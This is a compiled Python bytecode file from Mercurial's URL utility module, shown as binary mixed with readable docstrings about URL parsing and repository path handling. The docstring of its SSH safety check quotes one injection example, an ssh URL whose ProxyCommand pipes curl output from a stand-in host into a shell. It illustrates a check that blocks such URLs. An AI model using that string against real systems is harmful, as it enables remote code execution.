
    	^cw                        d dl Z d dlZd dlZddlmZ ddlmZmZ ddl	m
Z
mZmZmZ ddl	mZ ej        rd dlmZ ej        Zd	 Z G d
 d          Zd Zd Zd Zd Zd Zd Zd-dZd Zd Zd Zd-dZd.dZd/dZ d-dZ! G d de"          Z#i Z$d Z% e%dd          d              Z& e%d!d!          d"             Z'h d#Z( e%d$d%          d&             Z) e%d'd(          d)             Z*d* Z+ G d+ d,          Z,dS )0    N   )_)getattrsetattr)encodingerrorpycompaturllibcompat   )
stringutil)Unionc                     	 t          |           S # t          $ r Y nw xY w	 t          j        t	          j        |                     S # t          j        $ r% t          j        t          d          | z            w xY w)zReturn the port for a given network service.

    If port is an integer, it's returned as is. If it's a string, it's
    looked up using socket.getservbyname(). If there's no matching
    service, error.Abort is raised.
    s+   no port number associated with service '%s')	int
ValueErrorsocketgetservbynamer	   sysstrr   Abortr   )ports    9/usr/lib/python3/dist-packages/mercurial/utils/urlutil.pygetportr   $   s    4yy   
#HOD$9$9:::< 
 
 
k<==D
 
 	

s    
%A 4A<c                       e Zd ZdZdZdZ ej        d          j        Z	ddZ
d Zej        d             Zd	 Z ej        e          Zd
 Zd Zd Zd ZdS )urla	  Reliable URL parser.

    This parses URLs and provides attributes for the following
    components:

    <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>

    Missing components are set to None. The only exception is
    fragment, which is set to '' if present but empty.

    If parsefragment is False, fragment is included in query. If
    parsequery is False, query is included in path. If both are
    False, both fragment and query are included in path.

    See http://www.ietf.org/rfc/rfc2396.txt for more information.

    Note that for backward compatibility reasons, bundle URLs do not
    take host names. That means 'bundle://../' has a path of '../'.

    Examples:

    >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
    <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
    >>> url(b'ssh://[::1]:2200//home/joe/repo')
    <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
    >>> url(b'file:///home/joe/repo')
    <url scheme: 'file', path: '/home/joe/repo'>
    >>> url(b'file:///c:/temp/foo/')
    <url scheme: 'file', path: 'c:/temp/foo/'>
    >>> url(b'bundle:foo')
    <url scheme: 'bundle', path: 'foo'>
    >>> url(b'bundle://../foo')
    <url scheme: 'bundle', path: '../foo'>
    >>> url(br'c:\foo\bar')
    <url path: 'c:\\foo\\bar'>
    >>> url(br'\\blah\blah\blah')
    <url path: '\\\\blah\\blah\\blah'>
    >>> url(br'\\blah\blah\blah#baz')
    <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
    >>> url(br'file:///C:\users\me')
    <url scheme: 'file', path: 'C:\\users\\me'>

    Authentication credentials:

    >>> url(b'ssh://joe:xyz@x/repo')
    <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
    >>> url(b'ssh://joe@x/repo')
    <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>

    Query strings and fragments:

    >>> url(b'http://host/a?b#c')
    <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
    >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
    <url scheme: 'http', host: 'host', path: 'a?b#c'>

    Empty path:

    >>> url(b'')
    <url path: ''>
    >>> url(b'#a')
    <url path: '', fragment: 'a'>
    >>> url(b'http://host/')
    <url scheme: 'http', host: 'host', path: ''>
    >>> url(b'http://host/#a')
    <url scheme: 'http', host: 'host', path: '', fragment: 'a'>

    Only scheme:

    >>> url(b'http:')
    <url scheme: 'http'>
    s   !~*'()+s
   /!~*'()+:\s   ^[a-zA-Z0-9+.\-]+:Tc                 *   d x| _         x| _        x| _        | _        d x| _        x| _        x| _        | _        d| _        d| _	        || _
        |r"d|v r|                    dd          \  }| _        t          |          s|                    d          r	|| _        d S |                    d          r9d| _         |dd          }|                    d	          r
|d
d          }|| _        d S |                     |          r/|                    dd          }|d         r|\  | _         }d| _        |sd }| j        r	d| _        d S n| j        r	|| _        d S |r4d|v r0|                    dd          \  }| _        |sd }| j        sd | _        |r|                    d	          ro|d
d                              dd          }t          |          dk    r|\  | _        }n|d         | _        d }| j        sd | _        |rt          |          sd|z   }| j        rpd| j        v rg| j                            dd          \  | _        | _        d| j        v r(| j                            dd          \  | _        | _        | j        sd | _        | j        rd| j        v rv| j                            d          r| j                            d          sB| j        | _	        | j                            dd          \  | _        | _        | j        sd | _        | j        r5| j         dk    r*| j        dvr!t%          j        t)          d                    || _        dD ]=}t+          | |          }|)t-          | |t.                              |                     >d S )NT       #r      \\   bundle:   bundle      //r      :r   F   ?   /   @   [   ]   file)s	   localhosts	   127.0.0.1s   [::1]s(   file:// URLs can only refer to localhost)   user   passwd   host   port   path   fragment)schemeuserpasswdhostr   pathqueryfragment
_localpath	_hostport	_origpathsplithasdriveletter
startswith_matchschemelenrsplitendswithr   r   r   r   r   urlrequnquote)selfr3   
parsequeryparsefragmentpartsavs          r   __init__zurl.__init__   s    =A@@di@$+	=AA	ADIA
T] 	6TT\\"&**T1"5"5D$- $ 	4??7#;#; 	DIF ??:&& 	#DK8Du%%  ABBxDIFT"" 	(JJtQ''EQx ($)!T"' ;	D 	   	 &ddll#'::dA#6#6 dj  Dz &!%DJ  +.. +QRRtQ//u::>>&+ODItt %aDIDy + $DI  +N4$8$8 +#d{y %TTY..'+y'7'7a'@'@$	4949$$-1Y__T1-E-E*DIt{y % $DI 	
%DI%%I((.. &3793E3Ed3K3K &
 "&'+y'7'7a'@'@$	49y % $DI 	K7**I%KKKkABB   	 N 	4 	4Aa  A}a!2!2333	4 	4r   c                 ,   t          d          }| j        |_        | j        |_        | j        |_        | j        |_        | j        |_        | j        |_        | j        |_        | j        |_        | j        |_        | j	        |_	        | j
        |_
        |S )Ns   temporary useless value)r   r3   r/   r0   r1   r2   r4   r5   r6   r7   r8   )rB   us     r   copyzurl.copy   sx    *++;;*]
nnr   c                     g }dD ]@}t          | |          }|,|                    d|t          j        |          fz             Add                    |          z  S )N)s   schemer)   r*   r+   r,   r-   s   queryr.   s   %s: %rs   <url %s>s   , )r   appendr	   bytestrjoin)rB   attrsrF   rG   s       r   __repr__zurl.__repr__   so    	
 	C 	CA a  A}Y!X-=a-@-@)AABBBUZZ....r   c                    | j         r-| j        }| j        dk    rd|z   }| j        r|d| j        z   z  }|S | j        dz   }| j        s| j        s| j        r|dz  }nZ| j        rS| j        r.| j                            d          st          | j                  r|dz  }t          | j                  r|dz  }| j        r)|t          
                    | j        | j                  z  }| j        r,|dt          
                    | j        | j                  z   z  }| j        s| j        r|dz  }| j        ra| j                            d	          r| j                            d
          s#|t          
                    | j                  z  }n
|| j        z  }| j        r%|dt          
                    | j                  z   z  }| j        r|dz  }| j        r)|t          
                    | j        | j                  z  }| j        r|d| j        z   z  }| j        ,|dt          
                    | j        | j                  z   z  }|S )a  Join the URL's components back into a URL string.

        Examples:

        >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
        'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
        >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
        'http://user:pw@host:80/?foo=bar&baz=42'
        >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
        'http://user:pw@host:80/?foo=bar%3dbaz'
        >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
        'ssh://user:pw@[::1]:2200//home/joe#'
        >>> bytes(url(b'http://localhost:80//'))
        'http://localhost:80//'
        >>> bytes(url(b'http://localhost:80/'))
        'http://localhost:80/'
        >>> bytes(url(b'http://localhost:80'))
        'http://localhost:80/'
        >>> bytes(url(b'bundle:foo'))
        'bundle:foo'
        >>> bytes(url(b'bundle://../foo'))
        'bundle:../foo'
        >>> bytes(url(b'path'))
        'path'
        >>> bytes(url(b'file:///tmp/foo/bar'))
        'file:///tmp/foo/bar'
        >>> bytes(url(b'file:///c:/tmp/foo/bar'))
        'file:///c:/tmp/foo/bar'
        >>> print(url(br'bundle:foo\bar'))
        bundle:foo\bar
        >>> print(url(br'file:///D:\data\hg'))
        file:///D:\data\hg
        r   r   r   r"   r!   r$   )safer%   r&   r'   r#   )r6   r3   r/   r5   r0   r1   r2   r;   r:   r@   quote
_safecharsr?   r   _safepcharsr4   )rB   ss     r   	__bytes__zurl.__bytes__  sg   D ? 		A{i''N} *TDM))HK$9 		 		ty 		JAA[ 			y##D))	 di((	
 JAdi(( T	9 	?dido>>>A; 	HT[tGGGGA9 	 	IA9 	I((.. 493E3Ed3K3K V\\$),,,TY9 	0TY////A9 	IA9 	@ did.>???A: 	#
""A=$T]9IJJJJAr   c                     | j         | j        }}	 d\  | _         | _        t          |           }||c| _         | _        n# ||c| _         | _        w xY w| j         s|d fS |d || j        f| j         | j        pdffS )N)NNr   )r0   r1   bytesr2   )rB   r0   r1   rW   s       r   authinfozurl.authinfo`  s    y$+f	2%/"DIt{dA%)6"DIt{{T6"DIt{1111y 	t9
 D1di.$)T[5GCHIIs	   > Ac                     | j         r| j         dk    rdS t          | j                  rdS | j                            d          rdS | j                            d          rdS dS )Nr(   Tr   r$   F)r/   r:   r3   r;   rB   s    r   isabsz	url.isabso  ss    ; 	4;'114$)$$ 	49'' 	49%% 	4ur   c                     | j         dk    s| j         dk    rT| j        pd}t          | j                  r| j        dz   | j        z   }n"| j        | j        rt          |          sd|z   }|S | j        S )Nr(   r   r$   )r/   r3   r:   r7   r2   r8   rB   r3   s     r   	localpathzurl.localpathz  s    ;'!!T[I%=%=9$D dn-- #~,ty8	%$)%N4<P<P%d{K~r   c                 >    | j          p| j         dk    p
| j         dk    S )z?whether localpath will return something that posixfile can openr(   r   )r/   r]   s    r   islocalzurl.islocal  s.     O ({g%({i'	
r   N)TT)__name__
__module____qualname____doc__rU   rV   remodcompilematchr<   rH   rK   r   	strmethodrQ   rX   __str__r[   r^   ra   rc    r   r   r   r   9   s        G GR J K 5=!788>Ld4 d4 d4 d4L   / / /"N N N` !h ++GJ J J	 	 	  
 
 
 
 
r   r   c                 D    t          t          |           j                  S N)boolr   r/   r3   s    r   	hasschemerr     s    D		 !!!r   c                 t    t          |           o)| dd         dk    o| dd                                         S )Nr   r   r"   r   )rp   isalpharq   s    r   r:   r:     s9    ::C$qs)t+CQqS	0A0A0C0CCr   c                 J    t          | dd                                          S )NF)rC   rD   )r   ra   rq   s    r   urllocalpathrv     s#    tU;;;EEGGGr   c                     t                               |           } |                     d          s|                     d          r7t          j        t          d          t          j        |           fz            dS )a\  check if a path / url is a potentially unsafe ssh exploit (SEC)

    This is a sanity check for ssh urls. ssh will parse the first item as
    an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
    Let's prevent these potentially exploited urls entirely and warn the
    user.

    Raises an error.Abort when the url is unsafe.
    s   ssh://-s   svn+ssh://-s   potentially unsafe url: %rN)r@   rA   r;   r   r   r   r	   rN   rq   s    r   checksafesshrx     sy     >>$Dz"" 
doon&E&E 
k+,,0@0F0F/HH
 
 	

 
r   c                 Z    t          |           } | j        rd| _        t          |           S )z$hide user credential in a url strings   ***)r   r1   rZ   rJ   s    r   hidepasswordr{     s+     	AAx 88Or   c                 Z    t          |           } dx| _        | _        t          |           S )z7remove all authentication information from a url stringN)r   r0   r1   rZ   rz   s    r   
removeauthr}     s(     	AAAFQX88Or   c                 
   g }|It          | j                                                  D ]!\  }}|D ]}|                    ||f           "n5| j                            |g           D ]}|                    ||f           |S )z+list all the (name, paths) in the passed ui)sortedpathsitemsrM   get)uitarget_pathresultnamer   pr3   s          r   
list_pathsr     s    F!"(.."2"233 	) 	)KD% ) )tQi(((()	)
 HLLb11 	/ 	/DMM;-....Mr   c                 J    	 t          | d|          S # t          $ r Y dS w xY w)zLtry to build a path from a url

    Return None if no Path could built.
    Nrawloc)r3   r   )r   r   s     r   try_pathr     s>    
BS))))   tts    
""c              #     K   |snd|j         v r|j         d         D ]}|V  dS d|j         v r|j         d         D ]}|V  dS t          j        t          d          t          d                    |D ]^}||j         v r|j         |         D ]}|V   t	          ||          }|(t          d          }||z  }t          j        |          |V  _dS )z=yields all the `path` selected as push destination by `dests`s   default-push   defaults"   default repository not configured!s   see 'hg help config.paths')hintN   repository %s does not exist)r   r   ConfigErrorr   r   	RepoError)repor   destsr   destr3   msgs          r   get_push_pathsr     sG      bh&&Xo.   28##Xj)    #788455   
  
	 
	Drx$  AGGGG  D))<;<<C4KC/#...




	 
	r   c              #      K   |sdg}|D ]7}||j         v r|j         |         D ]}|V   t          |d|d          }|V  8dS )zDyields all the `(path, branch)` selected as pull source by `sources`r   NF)validate_path)r   r3   )r   r   sourcessourcer   s        r   get_pull_pathsr     s       ,  RXXf%   RvU;;;AGGGG r   c                 @   |g }n|g}t          t          |||                    }t          |          dk    r^|$t          d          }|t          |          | fz  }n$t          d          }|t          |          | |fz  }t	          j        |          |d         S )a5  return a unique `path` or abort if multiple are found

    This is useful for command and action that does not support multiple
    destination (yet).

    Note that for now, we cannot get multiple destination so this function is "trivial".

    The `action` parameter will be used for the error message.
    Nr   9   default path points to %d urls while %s only supports one5   path points to %d urls while %s only supports one: %sr   )listr   r=   r   r   r   )actionr   r   r   r   r   s         r   get_unique_push_pathr     s     |b%0011E
5zzQ<L C CJJ''CCLMMCCJJ--Ck#8Or   rm   c                    g }|Jd|j         v r+|                    d |j         d         D                        n|                    d           nv||j         v r+|                    d |j         |         D                        nBt          ||          }||                    |j                   n|                    |           t          |          dk    r^|$t          d          }|t          |          | fz  }n$t          d          }|t          |          | |fz  }t          j        |          t          |d         |          S )	a?  return a unique `(path, branch)` or abort if multiple are found

    This is useful for command and action that does not support multiple
    destination (yet).

    Note that for now, we cannot get multiple destination so this function is "trivial".

    The `action` parameter will be used for the error message.
    Nr   c              3   $   K   | ]}|j         V  d S ro   r   .0r   s     r   	<genexpr>z'get_unique_pull_path.<locals>.<genexpr>0  $      ??Q??????r   c              3   $   K   | ]}|j         V  d S ro   r   r   s     r   r   z'get_unique_pull_path.<locals>.<genexpr>7  $      ;;Q;;;;;;r   r   r   r   r   
r   extendrM   r   r   r=   r   r   r   parseurl)r   r   r   r   default_branchesurlsr3   r   s           r   get_unique_pull_pathr   #  s^    D~!!KK??"(:*>??????? KK
####RXKK;;"(6*:;;;;;;; B''DDK((((F###
4yyA~~>L C CIIv&&CCLMMCCIIvv..Ck#DG-...r   c                    g }|Jd| j         v r+|                    d | j         d         D                        n|                    d           nv|| j         v r+|                    d | j         |         D                        nBt          | |          }||                    |j                   n|                    |           t          |          dk    r[|"t          d          }|t          |          z  }n#t          d          }|t          |          |fz  }t          j        |          |d         }t          ||          \  }}|||fS )	z@return the `(origsource, path, branch)` selected as clone sourceNr   c              3   $   K   | ]}|j         V  d S ro   r   r   s     r   r   z!get_clone_path.<locals>.<genexpr>Q  r   r   c              3   $   K   | ]}|j         V  d S ro   r   r   s     r   r   z!get_clone_path.<locals>.<genexpr>X  r   r   r   s:   default path points to %d urls while only one is supporteds6   path points to %d urls while only one is supported: %sr   r   )	r   r   r   r   r3   r   r   
clone_pathbranchs	            r   get_clone_pathr   L  sk   D~!!KK??"(:*>??????? KK
####RXKK;;"(6*:;;;;;;; B''DDK((((F###
4yyA~~>M C 3t99CCMNNCCIIv&&Ck#
q'C!#'788J
F""r   c                 x    t          |           }d}|j        r|j        }d|_        t          |          ||pg ffS )z5parse url#branch, returning (url, (branch, branches))N)r   r5   rZ   )r3   branchesrJ   r   s       r   r   r   o  sD    D		AFz 
88fhn"---r   c                        e Zd ZdZd ZddZdS )r   zRepresents a collection of paths and their configs.

    Data is initially derived from ui instances and the config files they have
    loaded.
    c           	      H   t                               |            t          j                            d          }|                    dd          D ]x\  }}|s	|                    d|          \  }}|                    d|          }|||f}|j        	                    ||          }	|	                    d          }
|
)t          j        |
          rt          j        |          }n|g}g }|D ]}t          j                            |          }t          j                            |          }t          |          s\t          j                            |          s=t          j                            t          j                            |	|                    }t          ||||          }|                    |           || |<   zt'          |                                           D ]5\  }}g }|D ]&}|                    t-          |||                      '|| |<   6d S )N   ~   pathsT)	ignoresub
   multi-urls)r   
suboptions)dictrH   osr3   
expanduserconfigitemsconfigsuboptionsconfigsource_path_to_rootr   r   	parsebool	parselist
expandvarsrr   r^   normpathrO   rM   r   r   r   _chain_path)rB   r   	home_pathr   value_valuesub_optsrW   root_keyroot	multi_url	base_locsr   locr   	old_paths	new_pathss                    r   rH   zpaths.__init__  s   dG&&t,,	>>(d>CC 	 	KD% !228TBBFH$//AeQ'H#'')<<D ]33I$)=i)H)H$&077		"G	E     g((--g((-- ~~ DbgmmC.@.@ D'**27<<c+B+BCCCT#(CCCQDJJ%djjll33 	# 	#OD)I ; ;  QD!9!9::::"DJJ		# 	#r   Nc                 r   d}|                     |d           |K|sd}nt          |t          t          f          s|f}|D ]"}	 | |         d         c S # t          $ r Y w xY wdS |sdS || v r| |         d         S t          ||          }|$t          j        t          d          |z            |j	        S )a  Return a ``path`` from a string, falling back to default.

        ``name`` can be a named path or locations. Locations are filesystem
        paths or URIs.

        Returns None if ``name`` is not a registered path, a URI, or a local
        path to a repo.
        s9   getpath is deprecated, use `get_*` functions from urlutils   6.0Nrm   r   r   )

deprecwarn
isinstancetupler   KeyErrorr   r   r   r   r   )rB   r   r   defaultr   kr3   s          r   getpathzpaths.getpath  s     K
c6"""< %%77 %"*  71:%%%   H4  	44<<:a=  B%%D|oa(G&H&H4&OPPP;s   A
A! A!ro   )rd   re   rf   rg   rH   r   rm   r   r   r   r   y  sB         "# "# "#H# # # # # #r   r   c                       fd}|S )a  Decorator used to declare a path sub-option.

    Arguments are the sub-option name and the attribute it should set on
    ``path`` instances.

    The decorated function will receive as arguments a ``ui`` instance,
    ``path`` instance, and the string value of this option from the config.
    The function should return the value that will be set on the ``path``
    instance.

    This decorator can be used to perform additional verification of
    sub-options and to change the type of sub-options.
    c                      | ft           <   | S ro   )_pathsuboptions)funcattroptions    r   registerzpathsuboption.<locals>.register  s    #',r   rm   )r   r   r   s   `` r   pathsuboptionr     s)          Or   s   pushurls   pushlocc                     t          |          }|j        s2t          d          }||j        |fz  }|                     |           d S |j        r1|                     t          d          |j        z             d |_        t          |          S )Ns-   (paths.%s:pushurl not a URL; ignoring: "%s")
s:   ("#fragment" in paths.%s:pushurl not supported; ignoring)
)r   r/   r   r   warnr5   rZ   )r   r3   r   rJ   r   s        r   pushurlpathoptionr     s    E

A8 ABB	5!!
t 	z 
  i		
 	
 	
 
88Or   s   pushrevc                     |S ro   rm   )r   r3   r   s      r   pushrevpathoptionr     s    Lr   >      ignore   mirrorr   s   bookmarks.modes   bookmarks_modec                     |t           vr6|j        }|d}t          d          }|||fz  }|                     |           |dk    rd }|S )N   *s2   (paths.%s:bookmarks.mode has unknown value: "%s")
r   )SUPPORTED_BOOKMARKS_MODESr   r   r   )r   r3   r   	path_namer   s        r   bookmarks_mode_optionr     sa    ---I	IFGG	5!!

Lr   r   s
   multi_urlsc                     t          j        |          }|,|                     t          d          |j        z             d}|S )Ns.   (paths.%s:multi-urls not a boolean; ignoring)
F)r   r   r   r   r   )r   r3   r   ress       r   multiurls_pathoptionr     sL    

u
%
%C
{
@AADIM	
 	
 	
 Jr   c                    g }| j         j        dk    r|                    |            n| j         j        J |                    | j         j                  }|9t          d          }|| j        | j         j        fz  }t          j	        |          |D ](}| 
                                }|j        j        dk    r9t          d          }||j        |j         j        fz  }t          j	        |          |j         |_         |j        |_        |j        |_        |j        |j        |_        n2|j                            dd          d         }d||j        fz  |_        |j        
                                }	|	                    |j                   |                    ||	           |                    |           *|S )	z<return the result of "path://" logic applied on a given pathr-   Ns)   cannot use `%s`, "%s" is not a known paths4   cannot use `%s`, "%s" is also defined as a `path://`r   r   r   s   %s#%s)r   r/   rM   r3   r   r2   r   r   r   r   rK   raw_urlr   r   r>   _all_sub_optsupdate_own_sub_opts_apply_suboptions)
	base_pathr   r   r   	sub_pathsmsubpathr3   baser   s
             r   r   r   "  s   I}w&&####}!)))IIim011	>??A)"IM$677A+a..   	# 	#G>>##D%00MNNdk48=11k!nn${DH!.DK{DH{"%n{))$2215&$)<< .3355Jd0111""2z222T""""r   c                   R    e Zd ZdZ	 	 	 	 	 d
dZd Zd Zd Zd Ze	d	             Z
dS )r3   z4Represents an individual path and its configuration.NTc                 <   ||J |J |J dS |st          d          t          |          }d}|j        r|j        }d|_        || _        |                                | _        || _        || _        || _        d|z  | _        |r| 	                                 |
                    dd          \  }}	i | _        |.|                                | _        |	                    |           |	                                | _        |                     ||	           dS )a  Construct a path from its config options.

        ``ui`` is the ``ui`` instance the path is coming from.
        ``name`` is the symbolic name of the path.
        ``rawloc`` is the raw location, as defined in the config.
        ``pushloc`` is the raw locations pushes should be made to.

        If ``name`` is not defined, we require that the location be a) a local
        filesystem path with a .hg directory or b) a URL. If not,
        ``ValueError`` is raised.
        Ns   rawloc must be defineds   %sr   r   )r   r   r5   rK   r   r   r   r   r   _validate_pathr   r   r   r   r   )
rB   r   r   r   r   r   rJ   r   _pathr   s
             r   rH   zpath.__init__F  s4   & :<<<>>>%%%F 	86777 KK: 	ZFAJvvxx	19 	"!!!--h==x!!+!2!2DOOJ'''%]]__r8,,,,,r   c                     |                                  }| j                                        D ],\  }}t          |dd          }|
 |            }||j        |<   -|S )zmake a copy of this path objectrK   N)	__class____dict__r   r   )rB   newr   rG   new_copys        r   rK   z	path.copy  sf    nnM'')) 	  	 DAqq&$//H#HJJCLOO
r   c                     | j         s=| j        j        s3|                     | j                  st          d| j        z            d S d S d S )Ns1   location is not a URL or path to a local repo: %s)r   r   r/   _isvalidlocalpathr   r   r   r]   s    r   r  zpath._validate_path  su     		HO	 **4844	
 "k*  	 	 	 	 	 	r   c                     t                                           D ]B\  }\  }}||vrt          | |d             ||| ||                   }t          | ||           Cd S ro   )r   r   r   )rB   r   sub_options	suboptionr   r   r   s          r   r   zpath._apply_suboptions  s     (7'<'<'>'> 	' 	'#I|d++dD)))DT;y#9::ED$&&&&	' 	'r   c                     	 t           j                            t           j                            |d                    S # t          t
          f$ r Y dS w xY w)zReturns True if the given path is a potentially valid repository.
        This is its own function so that extensions can change the definition of
        'valid' in this case (like when pulling from a git repo into a hg
        one).s   .hgF)r   r3   isdirrO   	TypeErrorr   r`   s     r   r  zpath._isvalidlocalpath  sR    
	7==dF!;!;<<<:& 	 	 	55	s   <? AAc                 |    i }t                                           D ]\  }\  }}t          | |          }||||<    |S )z{Return sub-options and their values for this path.

        This is intended to be used for presentation purposes.
        )r   r   r   )rB   dsuboptr   _funcr   s         r   r   zpath.suboptions  sQ     %4%:%:%<%< 	" 	"!FMT5D$''E !&	r   )NNNNT)rd   re   rf   rg   rH   rK   r  r   r  propertyr   rm   r   r   r3   r3   C  s        >> 7- 7- 7- 7-r    
' 
' 
'	 	 	 
 
 X
 
 
r   r3   ro   )Nrm   )rm   )-r   rerh   r   i18nr   r	   r   r    r   r   r
   r   TYPE_CHECKINGtypingr   r@   r   r   rr   r:   rv   rx   r{   r}   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r3   rm   r   r   <module>r     sj   
			                                  
        
	
 
 
*V
 V
 V
 V
 V
 V
 V
 V
r
" " "
D D D
H H H

 
 
$       	 	 	  8
 
 
   8&/ &/ &/ &/R #  #  #  #F. . . .N N N N ND N N Nb   , z:&&  '&0 z:&&  '&     "344  54 }m,,  -,  Bu u u u u u u u u ur   